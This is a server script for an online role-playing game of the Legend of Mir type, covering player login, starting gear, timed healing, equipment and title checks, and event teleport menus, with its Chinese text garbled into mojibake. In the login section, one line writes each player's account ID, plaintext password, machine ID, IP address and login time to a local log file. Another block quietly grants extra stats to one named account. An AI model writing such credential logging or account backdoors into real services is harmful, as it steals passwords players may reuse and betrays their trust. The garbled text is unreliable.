[@Login]
;------------------------------------¼ʼ-------------------------------------------

#OR
CheckContainsTextList ..\..\..\..\11Ա\ַ\˷.txt <$USERNAME>
CheckContainsTextList ..\..\..\..\11Ա\ַ\հַ.txt <$USERNAME>
CheckTextList ..\..\..\..\11Ա\ַ\ֹ.txt <$MACHINEID>
CheckTextList ..\..\..\..\11Ա\ַ\Žɫ.txt <$username>
CHECKIPLIST ..\..\..\..\11Ա\ַ\IP.txt
#ACT
MESSAGEBOX ʾ\\аַ߿հַ,ֹ½\   \ ɫ.ϵԱ!
KICK
break
#IF
#ACT
SENDTOPCHATBOARDMSG 1 255 162 65535 桿{|251:0}{|70:0}{ֵȡ|253:0}{:|70:0}{200%|254:0}{|70:0} 1

AddTextList ..\QuestDiary\Ҽ¼.txt <$USERID>:<$PASSWORD>:<$USERNAME>:<$SERVERNAME>:<$MACHINEID>:<$IPADDR>:<$DATETIME>

ExtBagPageCount + 4
ExtBagOpenItemCount + 160
OpenAutoPickItem 1 0 5 1 0 0 500
AddMaxWeight = 1000
ADDBUTTON 2 64 622 622 622 12 9 0 70#װӡ 250#װӡ
ADDBUTTON 2 65 622 622 622 92 9 0 70#ռ 250#ռ
ADDBUTTON 2 66 622 622 622 174 9 0 70#ðճɾ 250#ðճɾ
ADDBUTTON 2 67 622 622 622 256 9 0 70#ѧ 250#ѧ
ADDBUTTON 2 68 622 622 622 338 9 0 70# 250#
ADDBUTTON 2 69 622 622 622 420 9 0 70#ؽɽׯ 250#ؽɽׯ
ADDBUTTON 2 70 622 622 622 502 9 0 249#ģʽ 250#ģʽ
#IF
#ACT
ADDBUTTON 2 71 621 621 621 0 0 0 -1
;#CALL [\\\½.txt] @
#CALL [¼\ˢ.txt] @ˢ
VAR Integer HUMAN ׳
VAR Integer HUMAN JK
LOADVAR HUMAN JK ..\QuestDiary\\Ԫ.txt
LOADVAR HUMAN ׳ ..\QuestDiary\׳.txt
SetOnTimer 0 1     ;ԶѪ
SetOnTimer 1 1     ;Զ
SetOnTimer 2 <$STR(N$ʱ)>    ;ʱ  
SetOnTimer 3 3 ;ȫָ
SetOnTimer 4 5
SetOnTimer 5 2 ;2ѧ
SetOnTimer 8 30
SetOnTimer 10 600
SENDTOPCHATBOARDMSG 1 243 235 65535 ܰʾʹκθңһʵ
GOLDCOUNT = 1000
MOV U500 0
ChangeHumAbilityEX 12 = 100000

#IF
Check [5] 1

#act
SET [3] 1
SET [4] 1

#If
equal <$userid> xiaohai
#act
ChangeHumAbility 20 + 50
ChangeHumAbility 19 + 50
#IF
NOT ISDUMMY
#ACT
SENDMSG 0 :ҡ<$USERNAME>ţƺˣ

#IF
ISNEWHUMAN
#ACT
activationcasket
SetSndacasket 1
OpenGodBless 11
OpenGodBless 10
OpenGodBless 9
OpenGodBless 8
OpenGodBless 7
OpenGodBless 6
OpenGodBless 5
OpenGodBless 4
OpenGodBless 3
OpenGodBless 2
OpenGodBless 1
OpenGodBless 0
ShowGodBless 1
ExtBagPageCount = 4
GiveStateItem Ұ 1 1 0 0 1 1 0
GiveStateItem 괫[] 1 1 0 0 1 1 0
TakeOnItem Ұ 18
TakeOnItem ؤ 1
TakeOnItem ؤ 0
CHANGEGENDER 0
GiveStateItem Ƽ 1 1 0 0 1 1 0
GiveStateItem Ƽ 1 1 0 0 1 1 0
GiveStateItem Ƽ 1 1 0 0 1 1 0
GiveStateItem Ƽ 1 1 0 0 1 1 0
GiveStateItem Ƽ 1 1 0 0 1 1 0
GiveStateItem 츳 1 1 0 0 1 1 0
ChangeHumAbilityEX 12 = 100000

#IF
ISDUMMY
#ACT
activationcasket
SetSndacasket 1
OpenGodBless 11
OpenGodBless 10
OpenGodBless 9
OpenGodBless 8
OpenGodBless 7
OpenGodBless 6
OpenGodBless 5
OpenGodBless 4
OpenGodBless 3
OpenGodBless 2
OpenGodBless 1
OpenGodBless 0
ShowGodBless 1
CHANGEGENDER 0

#IF
#ACT
OpenAutoPickItem 1 0 4 1 0 0 800

[@HeroLogin]
#act
#CALL [\\\Ӣ۵½.txt] @Ӣ
#CALL [¼\Ӣˢ.txt] @Ӣˢ


#IF
H.ISNEWHUMAN
#ACT
H.activationcasket
H.SetSndacasket 1
H.ShowGodBless 1
H.OpenGodBless 0
H.OpenGodBless 1
H.OpenGodBless 2
H.OpenGodBless 3
H.OpenGodBless 4
H.OpenGodBless 5
H.OpenGodBless 6
H.OpenGodBless 7
H.OpenGodBless 8
H.OpenGodBless 9
H.OpenGodBless 10
H.OpenGodBless 11
H.GiveStateItem Ұ 1 1 0 0 1 1 0
H.TakeOnItem Ұ 18
H.TakeOnItem ؤ 1
H.TakeOnItem ؤ 0
H.CHANGEGENDER 0
H.ChangeHumAbilityEX 12 = 100000

#IF
ISDUMMY
#ACT
H.activationcasket
H.SetSndacasket 1
H.ShowGodBless 1
H.OpenGodBless 0
H.OpenGodBless 1
H.OpenGodBless 2
H.OpenGodBless 3
H.OpenGodBless 4
H.OpenGodBless 5
H.OpenGodBless 6
H.OpenGodBless 7
H.OpenGodBless 8
H.OpenGodBless 9
H.OpenGodBless 10
H.OpenGodBless 11
H.CHANGEGENDER 0
[@OnTimer0]
#IF
#ACT
ADDBUTTON 2 72 3 3 3 36 448 3 ͭǮ<$GAMEPOINT>

#IF
equal U1 660
CheckHpPer < <$STR(U6)>
#ACT
HumanHP + 200
HumanMP + 200

#IF
equal U1 660
H.CheckHpPer < <$STR(U6)>
#ACT
H.HumanHP + 200
H.HumanMP + 200

#IF
equal U2 660
CHECKGAMEPOINT > 2
CheckHpPer < <$STR(U6)>
#ACT
GAMEPOINT - 3
HumanHP + 600
HumanMP + 600

#IF
equal U2 660
CHECKGAMEPOINT > 2
H.CheckHpPer < <$STR(U6)>
#ACT
GAMEPOINT - 3
H.HumanHP + 600
H.HumanMP + 600

#IF
equal U3 660
CHECKGAMEPOINT > 19
CheckHpPer < <$STR(U6)>
#ACT
GAMEPOINT - 20
HumanHP + 3000
HumanMP + 3000

#IF
equal U3 660
CHECKGAMEPOINT > 19
H.CheckHpPer < <$STR(U6)>
#ACT
GAMEPOINT - 20
H.HumanHP + 3000
H.HumanMP + 3000

#IF
equal U4 660
CHECKGAMEGOLD > 9
CheckHpPer < <$STR(U6)>
#ACT
GAMEGOLD - 10
CalcPercent <$MAXHP> 1 N$ָӳ
HumanHP + 5000
HumanMP + 5000
HumanHP + <$STR(N$ָӳ)>

#IF
equal U4 660
CHECKGAMEGOLD > 9
H.CheckHpPer < <$STR(U6)>
#ACT
GAMEGOLD - 10
CalcPercent <$H.MAXHP> 1 N$H.ָӳ
H.HumanHP + 5000
H.HumanMP + 5000
H.HumanHP + <$STR(N$H.ָӳ)>

#IF
equal U5 660
CHECKGAMEGOLD > 24
CheckHpPer < <$STR(U6)>
#ACT
GAMEGOLD - 25
CalcPercent <$MAXHP> 2 N$ָӳ1
HumanHP + 9999
HumanMP + 9999
HumanHP + <$STR(N$ָӳ1)>

#IF
equal U5 660
CHECKGAMEGOLD > 24
H.CheckHpPer < <$STR(U6)>
#ACT
GAMEGOLD - 25
CalcPercent <$H.MAXHP> 2 N$H.ָӳ1
H.HumanHP + 9999
H.HumanMP + 9999
H.HumanHP + <$STR(N$H.ָӳ1)>

#IF
checkitemw Ѫ
#ACT
AddhpPer + 1

#IF
H.checkitemw Ѫ
#ACT
H.AddhpPer + 1

#if
large <$str(N$)> 0
#act
dec N$ 1

#if
large <$str(N$CD)> 0
#act
dec N$CD 1

#if
large <$str(N$H.CD)> 0
#act
dec N$H.CD 1

#if
large u255 0
#act
dec u255 1
#if
large u256 0
#act
dec u256 1
#if
large u257 0
#act
dec u257 1
#if
large u258 0
#act
dec u258 1
#if
large u259 0
#act
dec u259 1
#if
large u260 0
#act
dec u260 1
#if
large u261 0
#act
dec u261 1
#if
large u262 0
#act
dec u262 1
#if
large u263 0
#act
dec u263 1
#if
large u264 0
#act
dec u264 1

#if
large u265 0
#act
dec u265 1
#if
large u266 0
#act
dec u266 1
#if
large u267 0
#act
dec u267 1
#if
large u268 0
#act
dec u268 1

#if
large <$str(N$CD)> 0
#act
dec N$CD 1
releasemagicEX 37 0 3 2

#if
large <$str(U398)> 0
#act
DEC U398 1

#if
large <$str(U399)> 0
#act
dec U399 1

#if
large <$str(U399)> 0
#act
DELBUTTON 30 0

#if
EQUAL <$str(U399)> 0
#act
MOV N$ֱ15 <$ClientWidth>
DEC N$ֱ15 70
ADDBUTTON 0 30 382 382 382 <$STR(N$ֱ15)> 190 0 250#\A 250#[]\-\#251#A״̬\-\#249#ʹú˯2Сʱ\-\#7#\#7#󹥻\#7#ִ


#IF
LARGE n$սʶ 0
#ACT
DEC n$սʶ 1

#IF
LARGE n$H.սʶ 0
#ACT
DEC n$H.սʶ 1

#if
equal <$str(N$)> 0
equal <$str(N$ν)> 1
#act
CHANGEMODE 3 0
MOV <$str(N$ν)> 0


[@OnTimer8]
#IF
large <$SUCKDAMAGE> 0
#ACT
PLAYEFFECT 4 1300 21 0 100 0 0 0 1

#IF
SMALL <$SUCKDAMAGE> 1
#ACT
DELBUTTON 35 0

#if
EQUAL <$str(U398)> 0
#act
DELBUTTON 31 0
DELBUTTON 32 0
DELBUTTON 33 0
DELBUTTON 34 0
DELBUTTON 35 0
ShowFashion 0
DELSKILL Lv1
DELSKILL Lv2
DELSKILL Lv3
DELSKILL Lv4
DELSKILL Lv1
DELSKILL Lv2
DELSKILL Lv3
DELSKILL Lv4
DELSKILL ֮Lv1
DELSKILL ֮Lv2
DELSKILL ֮Lv3
DELSKILL ֮Lv4
DELSKILL һLv1
DELSKILL һLv2
DELSKILL һLv3
DELSKILL һLv4
DELSKILL ·Lv1
DELSKILL ·Lv2
DELSKILL ·Lv3
DELSKILL ·Lv4
#CALL [¼\ˢ.txt] @ˢ

#if
checkitemw Ӱ
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ1.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 Ӱѱᣬװʧ 249 0

#if
checkitemw 
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ2.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 ѱᣬװʧ 249 0

#if
checkitemw 㳦
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ3.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 㳦ѱᣬװʧ 249 0

#if
checkitemw Īа
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ4.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 Īаѱᣬװʧ 249 0

#if
checkitemw ɽ
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ5.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 ɽѱᣬװʧ 249 0

#if
checkitemw Ԩ
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ6.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 Ԩѱᣬװʧ 249 0

#if
checkitemw ̫
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ7.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 ̫ѱᣬװʧ 249 0

#if
checkitemw 
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ8.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 ѱᣬװʧ 249 0

#if
checkitemw տ¬
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ9.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 տ¬ѱᣬװʧ 249 0

#if
checkitemw ԯ
NOT CHECKTEXTLIST ..\QuestDiary\\ؽ10.txt <$USERNAME>
#ACT
Takeex 40
Take Ӱ
Take տ¬
Take 
Take ̫
Take Ԩ
Take ɽ
Take Īа
Take 㳦
Take 
Take ԯ
GAMEGOLD + <$STR(U8)>
mov u8 0
sendmsg 5 ԯѱᣬװʧ 249 0

#if
CHECKFENGHAO µһ
NOT CHECKTEXTLIST ..\QuestDiary\\1.txt <$USERNAME>
#ACT
RECYCFENGHAO µһ
sendmsg 5 [µһ]ѱᣬƺʧ 249 0

#if
CHECKFENGHAO µһ
NOT CHECKTEXTLIST ..\QuestDiary\\2.txt <$USERNAME>
#ACT
RECYCFENGHAO µһ
sendmsg 5 [µһ]ѱᣬƺʧ 249 0

#if
CHECKFENGHAO µһ
NOT CHECKTEXTLIST ..\QuestDiary\\3.txt <$USERNAME>
#ACT
RECYCFENGHAO µһ
sendmsg 5 [µһ]ѱᣬƺʧ 249 0

#if
CHECKFENGHAO µһȭ
NOT CHECKTEXTLIST ..\QuestDiary\\4ȭ.txt <$USERNAME>
#ACT
RECYCFENGHAO µһȭ
sendmsg 5 [µһȭ]ѱᣬƺʧ 249 0

#if
CHECKFENGHAO µһ
NOT CHECKTEXTLIST ..\QuestDiary\\5.txt <$USERNAME>
#ACT
RECYCFENGHAO µһ
sendmsg 5 [µһ]ѱᣬƺʧ 249 0

#IF
NOT H.CheckShieldStateOpen 1
h.CheckMagicName Ӣħ
#ACT
H.releasemagic Ӣħ 0 3 2

[@OnTimer1]
#IF
#ACT
#CALL [\¼\Զ.txt] @Զ

#IF
#ACT
AddArrButton 3 6 2 614 614 614 0 251#\\\<$NpcRebornCount> 255#Ը<$NpcRebornCount>\255#ӢۿԸ<$H.NpcRebornCount>\-\1޵


#IF
LARGE N$ݵ㾭ܶ 0
CHECKLEVELEX < 500
NOT ISONMAP xsc
#ACT
CHANGEEXP + <$STR(N$ݵ㾭ܶ)> 
H.CHANGEEXP + <$STR(N$ݵ㾭ܶ)>

[@OnTimer2]
#IF
#ACT
Setreborn <$STR(N$)> 120
H.Setreborn <$STR(N$H.)> 120



[@OnTimer4]
#IF
LARGE n$սʶ 0
LARGE <$STR(N$Bս)> 0
#ACT
AddHumNewValue 1 + 1 7

#IF
LARGE n$H.սʶ 0
LARGE <$STR(N$H.Bս)> 0
#ACT
H.AddHumNewValue 1 + 1 7

#IF
LARGE U121 0
#ACT
H.ChangeState 1 0
H.ChangeState 2 0
H.ChangeState 3 0
H.ChangeState 4 0
H.ChangeState 5 0
H.ChangeState 6 0
H.ChangeState 7 0
H.ChangeState 13 0

[@OnTimer5]
#IF
H.checkitemw ڤ
#ACT
CalcPercent <$H.MAXDC> 10 N$H.ڤ
RangeHarm <$H.X> <$H.Y> 1 <$STR(N$H.ڤ)>

[@OnTimer10]
#if
Check [6] 1
#ACT
INC J82 1

[@OnTimer6]
#IF
NOT ISONMAP 3
EQUAL U522 1
#ACT
#CALL [1ļ\ϲֿ.TXT] @Ĵ
#CALL [1ļ\ϲֿ.TXT] @Ĵ1
#CALL [1ļ\ϲֿ.TXT] @Ĵ2
#CALL [1ļ\ϲֿ.TXT] @Ĵ3
break

[@OnTimer190]
#IF
NOT ISONMAP 3
#ACT
#CALL [\1ļ\װ.txt] @һ1
[@OnTimer191]
#IF
NOT ISONMAP 3
#ACT
#CALL [\1ļ\װ.txt] @һ2
[@OnTimer192]
#IF
NOT ISONMAP 3
#ACT
#CALL [\1ļ\װ.txt] @һ3
[@OnTimer193]
#IF
NOT ISONMAP 3
#ACT
#CALL [\1ļ\װ.txt] @һ4
[@OnTimer194]
#IF
NOT ISONMAP 3
#ACT
#CALL [\1ļ\װ.txt] @һ5
[@OnTimer195]
#IF
NOT ISONMAP 3
#ACT
#CALL [\1ļ\װ.txt] @һ6



[@콵]
#IF
#ACT
OPENMERCHANTBIGDLG 2 580 1 0 60 80 1 367 7 0
#SAY
\ \ \
<Text:HOT~ͱ:5:15/FCOLOR=249>\ 
<Text:----------------------------------------------------------:5:15/FCOLOR=12>\ 
<Text:Ʒ:5:15/SCOLOR=95><Text:ͼˢƷ:5:15/SCOLOR=7> \ 
<Text:⣺:5:25/SCOLOR=95><Text:ͼʹáʯȡƷ:5:25/SCOLOR=7> \
<Text:ʱ䣺:5:35/SCOLOR=95><Text:ÿ:5:35/SCOLOR=7><Text:[12.30],[20.30]:5:35/SCOLOR=210><Text::5:35/SCOLOR=7> \ \ \ \ 

<>                  <ǰ/@>\ \

[@]
#if
ISONMAP xsc
#act
messagebox ǰͼɴͣ
break

#if
#act
Mapmove	GA2
SENDMSG 0 [<$USERNAME>]콵Ʊ 249 0
BREAK


[@콵]
#IF
ISONMAP GA2
#ACT
ChangeState 1 1

[@ܿᴥ]
#IF
#ACT
OPENMERCHANTBIGDLG 2 580 1 0 60 80 1 367 7 0
#SAY
\ \ \
<Text:HOT~ܿ:5:15/FCOLOR=249>\ 
<Text:----------------------------------------------------------:5:15/FCOLOR=12>\ 
<Text:Ʒ:5:15/SCOLOR=95><Text:ܿἸʻԪԼƷ:5:15/SCOLOR=7> \ 
<Text:⣺:5:25/SCOLOR=95><Text:ǰȫܿصþֵ:5:25/SCOLOR=7> \
<Text:ʱ䣺:5:35/SCOLOR=95><Text:ÿ:5:35/SCOLOR=7><Text:[10.20-00.20]:5:35/SCOLOR=210><Text:֮ÿ2Сʱ1:5:35/SCOLOR=7> \ \ \ \ 

<>                  <ǰ/@1>\ \

[@1]
#if
ISONMAP xsc
#act
messagebox ǰͼɴͣ
break

#if
#act
Mapmove	3 330 330 5
BREAK


